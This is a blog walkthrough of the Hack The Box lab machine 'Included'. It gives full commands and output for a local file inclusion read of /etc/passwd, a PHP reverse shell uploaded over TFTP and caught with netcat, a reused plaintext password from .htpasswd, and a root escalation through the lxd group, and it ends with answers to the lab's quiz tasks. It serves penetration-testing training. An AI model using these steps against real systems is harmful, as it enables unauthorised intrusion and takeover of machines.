#16 Included - Starting Point - Hack The Box || Complete Walkthrough

#16 Included - Starting Point - Hack The Box || Complete Walkthrough

February 20, 2022 18 min read 7 views 0 discussions
Table of Contents

    Included is a machine that teaches some more enumeration techniques, even on a different transport layer protocol, and it also teaches that every penetration tester sometimes needs to use Google to see how to perform certain tasks.

    ┌──(mrdev㉿mrdev)-[~]
    └─$ nmap -sC -sV 10.129.12.38
    Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 13:53 IST
    Nmap scan report for 10.129.12.38
    Host is up (0.22s latency).
    Not shown: 999 closed tcp ports (conn-refused)
    PORT   STATE SERVICE VERSION
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    | http-title: Site doesn't have a title (text/html; charset=UTF-8).
    |_Requested resource was http://10.129.12.38/?file=home.php  
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 36.15 seconds 
    ┌──(mrdev㉿mrdev)-[~] 
    └─$
    ┌──(mrdev㉿mrdev)-[~]
    └─$ curl 'http://10.129.12.38/?file= /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
    bin:x:2:2:bin:/bin:/usr/sbin/nologin 
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin   
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
    syslog:x:102:106::/home/syslog:/usr/sbin/nologin
    messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
    _apt:x:104:65534::/nonexistent:/usr/sbin/nologin 
    lxd:x:105:65534::/var/lib/lxd/:/bin/false  
    uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
    dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:109:1::/var/cache/pollinate:/bin/false
    mike:x:1000:1000:mike:/home/mike:/bin/bash
    tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
    ┌──(mrdev㉿mrdev)-[~]
    └─$
    tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
    ┌──(mrdev㉿mrdev)-[~] 
    └─$ sudo nmap -sU 10.129.12.38 
    [sudo] password for mrdev:
    Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 14:08 IST 
    Nmap scan report for 10.129.12.38
    Host is up (0.35s latency).
    Not shown: 998 closed udp ports (port-unreach)
    PORT   STATE         SERVICE 
    68/udp open|filtered dhcpc
    69/udp open|filtered tftp  
    Nmap done: 1 IP address (1 host up) scanned in 1059.15 seconds  
    ┌──(mrdev㉿mrdev)-[~]
    └─$
    # sudo apt-get install tftp
    # man tftp
    ┌──(mrdev㉿mrdev)-[~]
    └─$ git clone https://github.com/pentestmonkey/php-reverse-shell.git
    ┌──(mrdev㉿mrdev)-[~]
    └─$ sudo cp php-reverse-shell/php-reverse-shell.php .
    ┌──(mrdev㉿mrdev)-[~]
    └─$
    ┌──(mrdev㉿mrdev)-[~]
    └─$ sudo nano php-reverse-shell.php
    ┌──(mrdev㉿mrdev)-[~]
    └─$ tftp 10.129.12.38       # Connect the server using tftp
    tftp> ?          # Print help information
    Commands may be abbreviated.  Commands are:
    connect         connect to remote tftp  
    mode            set file transfer mode
    put             send file  
    get             receive file
    quit            exit tftp
    verbose         toggle verbose mode  
    trace           toggle packet tracing
    status          show current status
    binary          set mode to octet
    ascii           set mode to netascii
    rexmt           set per-packet retransmission timeout
    timeout         set total retransmission timeout
    ?               print help information
    tftp> put php-reverse-shell.php       # upload the file to tftp
    Sent 5686 bytes in 4.1 seconds  
    tftp> 
    Microsoft Windows [Version 10.0.19044.1288]
    (c) Microsoft Corporation. All rights reserved. 
    D:\netcat-win32-1.11_1\netcat-1.11> nc -lvnp 1234  
    listening on [any] 1234 ... 
    D:\netcat-win32-1.11_1\netcat-1.11> nc -lvnp 1234  
    listening on [any] 1234 ...   
    connect to [10.10.14.183] from (UNKNOWN) [10.129.12.38] 56754   
    Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 
    09:27:37 up 55 min,  0 users,  load average: 0.00, 0.00, 0.00   
    USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT  
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: 0: can't access tty; job control turned off    
    $ whoami 
    www-data
    $ python3 -c 'import pty;pty.spawn("/bin/bash")'   
    www-data@included:/$ ls  
    ls 
    bin    dev   initrd.img      lib64       mnt   root  snap  tmp  vmlinuz
    boot   etc   initrd.img.old  lost+found  opt   run   srv   usr  vmlinuz.old 
    cdrom  home  lib             media       proc  sbin  sys   var   
    www-data@included:/$
    www-data@included:/$ cd /var/www/html    # Change the directory to web-related files
    cd /var/www/html 
    www-data@included:/var/www/html$ ls -al 
    ls -al  
    total 88   
    drwxr-xr-x 4 root     root      4096 Oct 13 19:50 .
    drwxr-xr-x 3 root     root      4096 Apr 23  2021 .. 
    -rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess
    -rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd
    -rw-r--r-- 1 www-data www-data 13828 Apr 29  2014 default.css
    drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 fonts
    -rw-r--r-- 1 www-data www-data 20448 Apr 29  2014 fonts.css
    -rw-r--r-- 1 www-data www-data  3704 Oct 13 19:50 home.php 
    drwxr-xr-x 2 www-data www-data  4096 Apr 23  2021 images
    -rw-r--r-- 1 www-data www-data   145 Oct 13 19:49 index.php
    -rw-r--r-- 1 www-data www-data 17187 Apr 29  2014 license.txt
    www-data@included:/var/www/html$ 
    www-data@included:/var/www/html$ cat .htaccess  
    cat .htaccess  
    RewriteEngine On   
    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]  
    #<Files index.php>
    #AuthType Basic
    #AuthUserFile /var/www/html/.htpasswd
    #Require valid-user  
    www-data@included:/var/www/html$ cat .htpasswd
    cat .htpasswd   
    mike:Sheffield19  
    www-data@included:/var/www/html$
    www-data@included:/var/www/html$ su mike
    su mike  
    Password: Sheffield19
    mike@included:/var/www/html$ whoami 
    whoami   
    mike
    mike@included:/var/www/html$
    mike@included:/var/www/html$ cd ../../. . 
    cd ../../..  
    mike@included:/$  cat /home/mike/user.txt
    cat /home/mike/user.txt
    ****************************
    mike@included:/$
    mike@included:/$ id
    id
    uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd) 
    mike@included:/$ groups  
    groups
    mike lxd
    mike@included:/$

    Enumeration

    Click on Spawn machine to find out the target IP address:


    As always, we begin by scanning the target for open ports:

    The scan shows only port 80 TCP open, which seems to be running Apache version 2.4.29 . Let's navigate to port 80 using the browser:

    The webpage features the landing page for a Gear manufacturing company. It does not seem to contain anything of interest, however, if we take a look at the URL we can see that this has automatically changed to this URL.

    http://{Target IP}/?file=home.php

    This is a common way that developers use to dynamically load pages in a website and if not programmed correctly it can often lead to the webpage being vulnerable to Local File Inclusion(LFI), but more about that in a bit.

    Local File Inclusion (LFI)

    We can easily determine if this is the case by attempting to load a file that we know definitely exists on the system and is readable by all users. One of those files is /etc/passwd and to load it, change the file parameter from home.php to /etc/passwd . For consistency reasons, we will show this process with the cURL command-line utility instead of a browser.

    This is successful and a list of users is returned. It is worth noting that inputting /etc/passwd might not always work if the inclusion already specifies a working directory.

    TFTP (Trivial File Transfer Protocol)

    Back to the task at hand, while a Local File Inclusion is a great way to gather information and read system files the goal of every Penetration Tester is to achieve Remote Code Execution on a system. There are a plethora of ways that an LFI can turn into RCE, from log poisoning to plaintext passwords in configuration files and forgotten backups, however in this case the passwd file gave us a big hint as to how to proceed. 

    The last user that is listed is called TFTP.

    A quick Google search reveals that 

    Trivial File Transfer Protocol (TFTP) is a simple protocol that provides a basic file transfer function with no user authentication. TFTP is intended for applications that do not need the sophisticated interactions that File Transfer Protocol (FTP) provides.

    It is also revealed that TFTP uses the User Datagram Protocol (UDP) to communicate. This is defined as a lightweight data transport protocol that works on top of IP.

    Enumerate UDP ports using Nmap

    To this end let's use Nmap to scan for open UDP ports. It is worth noting that a UDP scan takes a considerably longer time to complete compared to a TCP scan and it also requires superuser privileges.

    The scan reveals that port 69 UDP is open and an instance of the TFTP server is running on it. 

    Installing TFTP

    In order to communicate with TFTP, we need to install it on our Linux machine.

    Once the tool is installed its manual page can assist with its usage.

    Foothold


    Acquiring Server Foothold via TFTP and File Traversal Vulnerability

    TFTP works by default without the need for authentication. That means that anyone can connect to the TFTP server and upload or download files from the remote system. 

    We can chain this with the LFI vulnerability that we have already identified, in order to upload malicious PHP code to the target system that will be responsible for returning a reverse shell to us. We will then access this PHP file through the LFI and the webserver will execute the PHP code. 

    We can either create our own PHP code or use one of the many available PHP reverse shells that can be found online through a Google search. Click here.

    Clone the Php-reverse shell and Copy the mrdev home directory.

    Then open it using a text editor such as Nano or vim and edit the IP and Port.

    The port variable specifies the local port that we will use to catch the reverse shell. This can be anything we want as long as it is not already being used by a local process. Let's leave it to 1234. The IP variable specifies the local IP address that the shell will be returned to. We can acquire this IP from OpenVPN.

    After acquiring the local IP, change it in the PHP shell and save it. Then we will upload the file to the remote TFTP server.

    Now that the file has been uploaded, we need to start a local Netcat listener on the port that we specified in the reverse shell, in order to catch the connection once it initiates.

    Finally, we must find a way to access the uploaded PHP file through the LFI but we do not know where the file is uploaded on the target system. Thinking back to the passwd file that we read earlier, the TFTP user's home folder is specified as /var/lib/tftpboot . This information can also be found with a quick Google search.

    With this information let's try to load /var/lib/tftpboot/shell.php :

    Once this command is run our terminal will appear stuck, however, our Netcat listener has caught a connection.

    The received shell is not fully interactive, however, we can make it a bit better by using Python3:

    With access to the system as the www-data user, we do not have enough privileges to read the user flag, therefore we need to find a way to move laterally to user Mike who was also found on the passwd file.

    A good place to start our enumeration would be the webserver directory as it often contains configuration files that might include passwords. The web-related files are usually stored in the /var/www/html folder, so that's where we are going to start.

    The folder contains two interesting hidden files, .htaccess and .htpasswd. The .htpasswd file is used to store usernames and passwords for the basic authentication of HTTP users. Let's read both files:

    The second file contains credentials for user Mike. Oftentimes users re-use the same passwords for multiple services and accounts and compromising one of them might mean that all of them are compromised.

    If user Mike has used the same password for their system account, we might be able to use the su-utility to acquire a shell with their privileges.

    This is successful and the user flag is located in /home/mike:

    Privilege escalation

    The next step is escalating to the root user in order to gain the highest privileges on the system. Looking at the groups that user Mike is a member of, the lxd group is listed.

    lxd/lxc Group - Privilege escalation

    sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
    git clone https://github.com/lxc/distrobuilder
    cd distrobuilder
    make
    ┌──(mrdev㉿mrdev)-[~/distrobuilder]
    └─$ mkdir -p $HOME/ContainerImages/alpine 
    ┌──(mrdev㉿mrdev)-[~/distrobuilder] 
    └─$ cd $HOME/ContainerImages/alpine
    ┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
    └─$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
    --2021-12-29 15:19:33--  https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
    Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
    Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 15227 (15K) [text/plain]
    Saving to: ‘alpine.yaml’
    alpine.yaml                 100%[========================================>]  14.87K  --.-KB/s    in 0.02s
    2021-12-29 15:19:34 (614 KB/s) - ‘alpine.yaml’ saved [15227/15227]
    ┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
    └─$ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
    [sudo] password for mrdev:
    INFO[2021-12-29T15:20:54+05:30] Downloading source  
    /tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz: 100% (334.10kB/s)
    /tmp/distrobuilder/alpinelinux-3.8-x86_64/alpine-minirootfs-3.8.0-x86_64.tar.gz.asc: 100% (203.17MB/s)
    gpg: Signature made Tue 26 Jun 2018 07:54:34 PM IST
    <SNIP>
    ┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]
    └─$ ls 
    alpine.yaml  lxd.tar.xz  rootfs.squashfs 
    ┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]  
    └─$
    ┌──(mrdev㉿mrdev)-[~/ContainerImages/alpine]  
    └─$ python3 -m http.server 8000
    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    LXD is a management API for dealing with LXC containers on Linux systems. It will perform tasks for any members of the local lxd group. It does not make an effort to match the permissions of the calling user to the function it is asked to perform.

    Digging a little deeper into LXD and searching for the keywords LXD Exploit on Google reveals the following information.

    A member of the local “ lxd ” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

    Learn More: 

    This is exactly what we need and this HackTricks page describes the whole exploitation process step by step. The exploit works by making use of the Alpine image, which is a lightweight Linux distribution based on a busy box. After this distribution is downloaded and built locally, an HTTP server is used to upload it to the remote system. The image is then imported into LXD and it is used to mount the Host file system with root privileges.

    Let's begin by installing the Go programming language as well as some other required packages.

    Then we must clone the LXC Distribution Builder and build it.

    After the build is complete let's download the Alpine YAML file and build it:

    Once the build is done lxd.tar.xz and rootfs.squashfs will be available in the same folder:

    Sorry to say but we can't transfer these files from here, so first we have to send these files to the XAMPP server on Windows and then start the Apache server.

    We will now have to transfer these files to the system through the usage of a Python HTTP server. Run the following command locally on the same folder:

    Download   lxd.tar.xz   and rootfs.squashfs files. Once the download is complete move them to C:\xampp\htdocs .

    Now start the Apache server:

    Switch back to the reverse shell on the target system and download the files.

    Note: As shown previously the local IP can be acquired through the ifconfig command-line utility.

    mike@included:/$ cd /tmp
    cd /tmp
    mike@included:/tmp$ wget http://10.10.14.183:8080/lxd.tar.xz
    wget http://10.10.14.183:8080/lxd.tar.xz
    --2021-12-29 10:32:08--  http://10.10.14.183:8080/lxd.tar.xz
    Connecting to 10.10.14.183:8080... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 868 [application/x-xz]
    Saving to: ΓÇÿlxd.tar.xzΓÇÖ  
    lxd.tar.xz          100%[===================>]     868  --.-KB/s    in 0s
    2021-12-29 10:32:10 (96.6 MB/s) - ΓÇÿlxd.tar.xzΓÇÖ saved [868/868]
    mike@included:/tmp$ wget http://10.10.14.183:8080/rootfs.squashfs
    wget http://10.10.14.183:8080/rootfs.squashfs
    --2021-12-29 10:32:41--  http://10.10.14.183:8080/rootfs.squashfs
    Connecting to 10.10.14.183:8080... connected.  
    HTTP request sent, awaiting response... 200 OK  
    Length: 2015232 (1.9M) 
    Saving to: ΓÇÿrootfs.squashfsΓÇÖ    
    rootfs.squashfs     100%[===================>]   1.92M   143KB/s    in 24s
    2021-12-29 10:33:06 (80.8 KB/s) - ΓÇÿrootfs.squashfsΓÇÖ saved [2015232/2015232]
    mike@included:/tmp$
    mike@included:/tmp$ ls -al
    ls -al 
    total 1980
    drwxrwxrwt  2 root root    4096 Dec 29 10:32 .
    drwxr-xr-x 24 root root    4096 Oct 11 13:11 ..
    -rw-rw-r--  1 mike mike     868 Dec 29 10:10 lxd.tar.xz
    -rw-rw-r--  1 mike mike 2015232 Dec 29 10:10 rootfs.squashfs
    mike@included:/tmp$
    mike@included:/tmp$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
    <ge import lxd.tar.xz rootfs.squashfs --alias alpine
    mike@included:/tmp$
    mike@included:/tmp$ lxc image list  
    lxc image list
    +--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
    | ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               |  ARCH  |  SIZE  |          UPLOAD DATE          |
    +--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
    | alpine | 82af3b694def | no     | Alpinelinux 3.8 x86_64 (20211229_0950) | x86_64 | 1.92MB | Dec 29, 2021 at 10:34am (UTC) |
    +--------+--------------+--------+----------------------------------------+--------+--------+-------------------------------+
    mike@included:/tmp$
    mike@included:/tmp$ lxc init alpine privesc -c security.privileged=true
    lxc init alpine privesc -c security.privileged=true 
    Creating privesc
    mike@included:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
    <st-root disk source=/ path=/mnt/root recursive=true
    Device host-root added to privesc
    mike@included:/tmp$ lxc start privesc  
    lxc start privesc
    mike@included:/tmp$ lxc exec privesc /bin/sh
    lxc exec privesc /bin/sh
    ~ # ←[6n        # Finally, we can start the container and start a root shell inside it.
    ~ # ←[6n id
    id 
    uid=0(root) gid=0(root)
    ~ # ←[6n cd /mnt/root/root 
    cd /mnt/root/root
    /mnt/root/root # ←[6n cat root.txt
    cat root.txt  
    c**************************f 

    Once the transfer finishes, use the ls command to confirm the files transferred successfully:

    The next step is to import the image using the LXC command-line tool:

    To verify that the image has been successfully imported we can list the LXD images:

    Alpine is correctly shown in the image list. We must now set the security.privileged flag to true, so that the container has all of the privileges that the root file system has. We will also mount the root file system on the container in the /mnt folder.

    To access the root flag, we can navigate to the /mnt/root/root folder.

    We successfully got the flag, congratulations!

    TASK Solutions

    TASK 1: What service is running on the target machine over UDP?

    Ans. TFTP

    TASK 2: What class of vulnerability is the webpage that is hosted on port 80 vulnerable to?

    Ans. Local File Inclusion

    TASK 3: What is the default system folder that TFTP uses to store files?

    Ans. /var/lib/tftpboot/

    TASK 4: Which interesting file is located in the web server folder and can be used for Lateral Movement?

    Ans. .htpasswd

    TASK 5: What is the group that user Mike is a part of and can be exploited for Privilege Escalation?

    Ans. LXD

    TASK 6: When using an image to exploit a system via containers, we look for a very small distribution. Our favorite for this task is named after mountains. What is that distribution name?

    Ans. alpine

    TASK 7: What flag do we set to the container so that it has root privileges on the host system?

    Ans. security.privileged=true

    TASK 8: If the root filesystem is mounted at /mnt in the container, where can the root flag be found on the container after the host system is mounted?

    Ans. /mnt/root/

    Community Q&A